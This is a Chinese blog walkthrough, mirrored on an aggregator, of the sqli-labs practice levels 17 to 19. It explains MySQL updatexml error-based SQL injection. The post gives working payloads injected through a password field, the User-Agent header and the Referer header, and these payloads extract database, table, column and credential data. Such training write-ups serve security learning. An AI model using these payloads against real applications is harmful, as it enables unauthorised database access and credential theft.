zoukankan      html  css  js  c++  java
  • sqli-labs Less17--Less19

    补充知识

    参考链接:

    https://www.jb51.net/article/125599.htm

    https://www.jb51.net/article/125607.htm

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值

    而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

    其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误

     Less-17

    首先添加代码,这里与以往不同,有两处

    通过登陆观察可以发现,这是一个更新密码的功能

     

    由下图可知,当usename正确时,sql语句中的密码才能显示出来

     所以,首先我们需要知道用户的名字才能进行接下来的操作

    uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

    查库  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

     查表  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

     查列  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submit

     查数据  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

    这里需要使用两层select查询,否则会报错

    Less-18

    添加两段代码

    登陆可以发现,登陆成功显示ip地址,sql语句,版本信息

    登陆失败只显示ip,如果反复登录失败可能是上一关把密码改了的原因,需要重置数据库,选择Setup/reset Database for labs,重置即可

     这一次无法在用户名和密码进行注入,发生了转义

     我们使用burpsuit抓包

     抓包后,在Headers里修改User-Agent里面,构造注入语句   'or updatexml(1,concat(0x7e,(database())),1) or '1'='1

    或者  'or updatexml(1,concat(0x7e,(database())),1) ,",")#   (注意最后不是双引号,是两对单引号)

    查库  'or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1

     查表 'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) or '1'='1

     查列 'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) or '1'='1

     查信息   'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) or '1'='1

    Less-19

    通过分析登陆成功的语句,发现语句为inferer

     使用burpsuit抓包

     其他步骤与上一关相同,构造语句也是相同的

  • 相关阅读:
    uva10152-ShellSort
    WCF问题集锦:ReadResponse failed: The server did not return a complete response for this request.
    Android动态改变布局
    Android应用性能优化
    玩转CPU之直线
    [DB][MySql]关于取得自增字段的值、及@@IDENTITY 与并发性问题
    js对象实例化的常见三种方式
    TCP协议
    [UnityUI]循环滑动列表
    Spring MVC原理及实例基础扫盲篇
  • 原文地址:https://www.cnblogs.com/heiwa-0924/p/12301192.html
Copyright © 2011-2022 走看看